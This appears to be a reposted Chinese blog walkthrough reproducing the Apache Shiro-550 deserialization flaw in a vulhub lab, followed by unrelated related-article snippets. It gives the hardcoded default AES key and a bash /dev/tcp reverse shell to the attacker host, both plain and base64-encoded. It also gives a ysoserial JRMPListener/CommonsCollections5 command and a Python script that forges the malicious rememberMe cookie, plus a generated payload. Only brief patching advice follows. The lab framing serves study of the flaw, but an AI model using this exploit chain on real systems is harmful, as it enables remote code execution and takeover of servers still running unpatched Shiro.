【Shiro反序列化漏洞】Shiro-550反序列化漏洞复现

news2025/1/14 2:20:10
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

0x1 前言

0x2 漏洞原理

0x3 靶场搭建

1、环境准备

2、漏洞复现

shiro_attack工具

BurpShiroPassiveScan.jar插件

构造cookie,反弹shell

0x4 总结

漏洞修复:


0x1 前言

Shiro-550反序列化漏洞大约在2016年就被披露了,但感觉直到近一两年,在各种攻防演练中这个漏洞才真正走进了大家的视野,Shiro-550反序列化应该可以算是这一两年最好用的RCE漏洞之一,原因有很多:Shiro框架使用广泛,漏洞影响范围广;攻击payload经过AES加密,很多安全防护设备无法识别/拦截攻击……

0x2 漏洞原理

根据漏洞描述,Shiro≤1.2.4版本默认使用CookieRememberMeManager,其处理cookie的流程是:

先获取cookie中的remberMe值 --> 对其base64解码 --> AES解码 --> 对解密的值反序列化

然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞

payload 构造的顺序则就是相对的反着来:

构造恶意命令 --> 序列化 --> AES加密 --> base64编码 --> 发送cookie值

在整个漏洞利用过程中,比较重要的是AES加密的密钥,该秘钥默认是默认硬编码的,所以如果没有修改默认的密钥,就自己可以生成恶意构造的cookie了。

给师傅们分享一个我很喜欢的博主画的理解图,这个还是很形象地展示了黑客攻击的流程。

0x3 靶场搭建

1、环境准备

  • Ubantu(192.168.103.161)搭建靶场环境,先下载docker,然后利用docker安装vulhub
  • kali(192.168.103.129)攻击机,用于接收靶机的反弹shell的

利用docker-compose启动靶场环境:

docker-compose up -d

在查看下镜像以及端口:

docker ps

然后浏览器访问192.168.103.161:8080/,得到下面的界面:

2、漏洞复现

我们先利用burp抓个登录包给大家看看rememberme字段是什么,再让大家更加好理解这个shiro漏洞。勾选记住密码选项后,点击登录,抓包,观察请求包中是否有rememberme字段,响应包中是否有Set-cookie:rememberMe=deleteMe字段。类似于下图这样:

我看了很多CSDN博主写的,判断其是否有shiro漏洞,总结分析如下:

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

shiro_attack工具

对于shiro550,其漏洞的核心成因是cookie中的身份信息进行了AES加解密,用于加解密的密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥。

因此,验证漏洞的核心应该还是在于我们(攻击者)可否获得这个AES加密的密钥,如果确实是固定的密钥kPH+bIxk5D2deZiIxcaaaA==或者其他我们可以通过脚本工具爆破出来的密钥,那么shiro550漏洞才一定存在。

我们利用shiro_attack工具进行图形化的分析,下面是这个工具的下载地址:

链接:https://pan.baidu.com/s/1C408FR_n1t-XbIlbPLNczw?pwd=pso6 
提取码:pso6 

利用java -jar 启动里面的.jar文件

java -jar shiro_attack-2.2.jar

我们可以看到,这个图形化的工具就很清楚检测出这个url存在shiro框架,并且还爆破出来了shiro550的迷人AES加密的key值:kPH+bIxk5D2deZiIxcaaaA==,这样就可以证明这个url存在shiro漏洞。

我们还可以进行命令执行等操作

BurpShiroPassiveScan.jar插件

我们还可以直接使用burp的抓包工具里面的插件,下面是下载链接:

百度网盘下载:
https://pan.baidu.com/s/1LFRF34kHKG5LljboSpjSkA
提取码:j43f

我们直接在burp里面添加这个插件

当BurpSuite抓取到Shiro的数据包时会自动进行检测Key,当发现存在Shiro默认key时会有相应的告警

构造cookie,反弹shell

1、

先kali监听:

┌──(root💀kali)-[~]
└─# nc -lvnp 6666 

然后我们先利用kali攻击机搭建VPS服务,存放反弹shell的payload1,IP为kali的IP地址

bash -i >& /dev/tcp/192.168.103.129/6666 0>&1

当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过检测。可以使用在线网站对命令进行编码,网址为:

Runtime.exec Payload Generater | AresX's Blog

得到的编码结果如下:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMy4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

2、

接下来我们利用序列化工具ysoserial.jar(工具下载,开始的百度网盘里面有)生成payload,命令如下:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMy4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"

  1. java -cp ysoserial.jar: 这部分指示 Java 运行一个程序,并通过 -cp 参数设置了 classpath,告诉 Java 解释器在哪里可以找到 ysoserial.jar 文件以及它所依赖的其他类。ysoserial.jar 包含了 ysoserial 工具的代码和依赖项。
  2. ysoserial.exploit.JRMPListener 7777: 这是执行的 Java 类和它的参数。ysoserial.exploit.JRMPListener 是 ysoserial 中一个用于创建 JRMP(Java Remote Method Protocol)监听器的类。7777 是监听器将侦听的端口号。这个监听器将会等待远程 Java 应用程序连接到它,并利用反序列化漏洞。
  3. CommonsCollections5: 这是 ysoserial 中内置的一个 payload,利用了 Apache Commons Collections 库中的反序列化漏洞。CommonsCollections5 是 ysoserial 中的一种预定义 payload 类型,表示使用的是该库中的第五种利用方式。
  4. "bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDAuMTMxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}": 这是 payload 的一部分,它会在成功利用漏洞后在目标系统上执行的命令。这个命令是一个经过 base64 编码的字符串,它的含义是将 bash 的标准输入连接到一个通过 base64 解码后执行的命令。解码后的命令是 bash -c 'bash -i >& /dev/tcp/192.168.200.131/6666 0>&1',它的作用是在目标系统上执行一个反向 shell,将 shell 的输入和输出重定向到指定的 IP 地址和端口,这样攻击者就可以远程控制目标系统。

3、

我们接下来进行AES加密 —> base64加密 —> 然后生成rememberMe字段

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

代码中的key:kPH+bIxk5D2deZiIxcaaaA==,我们开始利用shiro-atack工具进行破解出来了,而且shiro≤1.2.4的版本中,默认的AES加密的key都是这个,注意shiro.py的位置应当保证和ysoserial.jar在同一目录下。

这样我们就生成了请求包中rememberMe的payload2:

┌──(root💀kali)-[~/桌面/Shiro_exploit-master]
└─# python2 shiro.py 192.168.103.129:7777

rememberMe=DWUCimV9QwmfgBsoknr9X8dwZpvTzjuT7SHs69IYVjQhnFQMU9Uc87kTwI0BlqoBxxywURBNtJ/VEJa5avi3yLLwPCX7x0zwTGNrNsbOIglcGnipCVlKt0+3MAl1GcYxi5ophK+Z6Dmz6tX7pPedEve3gzShL9SYVSjUrxfAZJwoAbb45DsY56CSiLEq4iDPutC+U7OK36BbIbIz1XBxlQxU820RmAzepiDiz3y/gXjpG40bAoOoPFFHPg9IulM5cEHMhhsOnxDwpXjjwGyx564xomDrF5gMcOnA7qsFiOBRQFF4HKeIhFC8TPfhk2T629TjXufAkCac0KOUgPngbP+3FBc7bMncKLdNQNqMZYBrSqisvyOEwF/Cdm8YqMBySyeXoIYIQ51CXvnH7BNSxw==

4、

更改请求包中cookie的rememberMe字段, 我们要在这个数据包的Cookie字段后添加rememberMe字段。

然后点击发送go,返回如下,可以看到响应包中的rememberMe=deleteMe字段:

5、

这样应该就应该漏洞利用成功了,我们看一下刚才JRMP监听的端口,可以看到这个服务与靶机(192.168.103.129)进行了连接通信:

成功反弹shell,然后可以进行执行后台命令了。

0x4 总结

漏洞修复:

  • 及时升级shiro版本,不再使用固定的密钥加密。
  • 在应用程序上部署防火墙、加强身份验证等措施以提高安全性

给大家分享一个哔哩哔哩的大佬的视频:

【Shiro反序列化漏洞(一)-shiro550流程分析】 Shiro反序列化漏洞(一)-shiro550流程分析_哔哩哔哩_bilibili

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1519518.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

腾讯云4核8G服务器性能怎么样?搭建网站够用吗?

腾讯云轻量4核8G12M服务器配置446元一年&#xff0c;646元12个月&#xff0c;腾讯云轻量应用服务器具有100%CPU性能&#xff0c;系统盘为180GB SSD盘&#xff0c;12M带宽下载速度1536KB/秒&#xff0c;月流量2000GB&#xff0c;折合每天66.6GB流量&#xff0c;超出月流量包的流…

【Datawhale组队学习:Sora原理与技术实战】训练一个 sora 模型的准备工作,video caption 和算力评估

训练 Sora 模型 在 Sora 的技术报告中&#xff0c;Sora 使用视频压缩网络将各种大小的视频压缩为潜在空间中的时空 patches sequence&#xff0c;然后使用 Diffusion Transformer 进行去噪&#xff0c;最后解码生成视频。 Open-Sora 在下图中总结了 Sora 可能使用的训练流程。…

快手发布革命性视频运动控制技术 DragAnything,拖动锚点精准控制视频物体和镜头运动

快手联合浙江大学、新加坡国立大学发布了DragAnything &#xff0c;利用实体表示实现对任何物体的运动控制。该技术可以精确控制物体的运动&#xff0c;包括前景、背景和相机等不同元素。 该项目提供了对实体级别运动控制的新见解&#xff0c;通过实体表示揭示了像素级运动和实…

layuiAdmin-通用型后台模板框架【广泛用于各类管理平台】

1. 主页 1.1 控制台 2. 组件 3. 页面 3.1 个人主页 3.2 通讯录 3.3 客户列表 3.4 商品列表 3.5 留言板 3.6 搜索结果 3.7 注册 3.8 登入 3.9 忘记密码 4. 应用 4.1 内容系统 4.1.1 文章列表 4.1.2 分类管理 4.1.3 评论管理 4.2 社区系统 4.2.1 帖子列表 4.2.2 回…

数据结构---C语言栈队列

知识点&#xff1a; 栈&#xff1a; 只允许在一端进行插入或删除操作的线性表&#xff0c;先进后出LIFO 类似一摞书&#xff0c;按顺序拿&#xff0c;先放的书只能最后拿&#xff1b; 顺序栈&#xff1a;栈的顺序存储 typedef struct{Elemtype data[50];int top; }SqStack; SqS…

724.寻找数组的中心下标

题目&#xff1a;给你一个整数数组 nums &#xff0c;请计算数组的 中心下标 。 数组 中心下标 是数组的一个下标&#xff0c;其左侧所有元素相加的和等于右侧所有元素相加的和。 如果中心下标位于数组最左端&#xff0c;那么左侧数之和视为 0 &#xff0c;因为在下标的左侧不…

力扣爆刷第96天之hot100五连刷66-70

力扣爆刷第96天之hot100五连刷66-70 文章目录 力扣爆刷第96天之hot100五连刷66-70一、33. 搜索旋转排序数组二、153. 寻找旋转排序数组中的最小值三、4. 寻找两个正序数组的中位数四、20. 有效的括号五、155. 最小栈 一、33. 搜索旋转排序数组 题目链接&#xff1a;https://le…

回归预测 | Matlab实现SO-BP蛇算法优化BP神经网络多变量回归预测

回归预测 | Matlab实现SO-BP蛇算法优化BP神经网络多变量回归预测 目录 回归预测 | Matlab实现SO-BP蛇算法优化BP神经网络多变量回归预测预测效果基本描述程序设计参考资料 预测效果 基本描述 1.Matlab实现SO-BP蛇算法优化BP神经网络多变量回归预测&#xff08;完整源码和数据) …

MyBatis学习笔记|2024最新版Mybatis

Mybatis简介 MyBatis历史 MyBatis最初是Apache的一个开源项目iBatis, 2010年6月这个项目由Apache Software Foundation迁移到了Google Code。随着开发团队转投Google Code旗下,iBatis3.x正式更名为MyBatis。代码于2013年11月迁移到GithubiBatis一词来源于“internet”和“aba…

2024年【天津市安全员C证】考试内容及天津市安全员C证考试报名

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 天津市安全员C证考试内容是安全生产模拟考试一点通生成的&#xff0c;天津市安全员C证证模拟考试题库是根据天津市安全员C证最新版教材汇编出天津市安全员C证仿真模拟考试。2024年【天津市安全员C证】考试内容及天津市…

C++提高笔记(四)---STL容器(stack、queue、list)

1、stack容器&#xff08;栈&#xff09; 1.1 栈stack基本概念 概念&#xff1a;stack是一种先进后出&#xff08;First In Last Out&#xff0c;FILO&#xff09;的数据结构&#xff0c;它只有一个出口 栈中只有顶端的元素才可以被外界调用&#xff0c;因此栈不允许有遍历行…

YOLOv7改进 | 更换主干网络之PP-LCNet

前言:Hello大家好,我是小哥谈。PP-LCNet是一个由百度团队针对Intel-CPU端加速而设计的轻量高性能网络。它是一种基于MKLDNN加速策略的轻量级卷积神经网络,适用于多任务,并具有提高模型准确率的方法。与之前预测速度相近的模型相比,PP-LCNet具有更高的准确性。此外,对于计…

mac启动elasticsearch

1.首先下载软件&#xff0c;然后双击解压&#xff0c;我用的是7.17.3的版本 2.然后执行如下命令 Last login: Thu Mar 14 23:14:44 on ttys001 diannao1xiejiandeMacBook-Air ~ % cd /Users/xiejian/local/software/elasticsearch/elasticsearch-7.17.3 diannao1xiejiandeMac…

Iframe 嵌入: 页面嵌入并保持自适应页面的宽高并铺满整个屏幕

文章目录 问题分析1. 嵌入 Iframe2. 样式3. 源码 问题 当我们使用 Iframe 嵌入页面后&#xff0c;会看到它只在小小的一部分进行展示&#xff0c;如何让它铺满整个屏幕 分析 1. 嵌入 Iframe <template><div><iframe :src"embeddedPageUrl" width…

编译原理学习之-一个简单的语法制导翻译器

第二章 一个简单的语法制导翻译器 将具有代表性的程序设计语言语句翻译为三地址码&#xff08;一种中间表示形式&#xff09;&#xff0c;本章的重点是编译器的前端&#xff0c;特别是词法分析&#xff0c;语法分析和中间代码生产。 建立一个中缀算术表达式转换为后缀表达式的…

vivado Placement、时钟和I/O放置、全局布局、详细布局和布局后优化

安置 Vivado Design Suite放置程序将网表中的单元放置到目标AMD中的特定站点上装置与其他实现命令一样&#xff0c;Vivado放置程序工作于并更新&#xff0c;内存中的设计。 设计布局优化 Vivado砂矿器同时优化了以下方面的设计布局&#xff1a; •定时松弛&#xff1a;选择…

1本“On Hold”期刊被剔除!3月Scopus期刊目录已更新!

【SciencePub学术】 2024年3月&#xff0c;Scopus数据库迎来本年度第三次更新&#xff01;此次更新后&#xff0c;有86本期刊发生变动&#xff1a; • 剔除&#xff1a;有5本期刊不再被Scopus数据库收录&#xff08;Discontinued titles Feb. 2024&#xff09;&#xff1b; •…

OJ_点菜问题(背包问题)

题干 C实现 #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<vector> using namespace std;int main() {int c, n;scanf("%d%d", &c, &n);int p[101];int v[101];for (int i 0; i < n; i){scanf("%d%d", &p[i],…

swagger踩坑之请求类不显示具体字段

swagger踩坑之请求类不显示具体字段 省流&#xff1a;枚举字段需要加上ApiModelProperty注解 过程复现&#xff1a; TestEnum 枚举不加注解&#xff0c;swagger的UI类不显示详细字段 Data Accessors(chain true) ApiModel(value "test对象", description &quo…

“优化消费环境 维护消费者权”荥阳市城关乡社工站开展3·15宣传志愿活动

又是一年“315”&#xff0c;为提高辖区群众消费维权意识&#xff0c;让他们可以学会运用政策法律知识维护自身合法权益&#xff0c;同时也为营造出辖区良好营商环境。2024年3月15日&#xff0c;在荥阳市民政局、荥阳市市场监督管理局、城关乡人民政府的支持下&#xff0c;城关…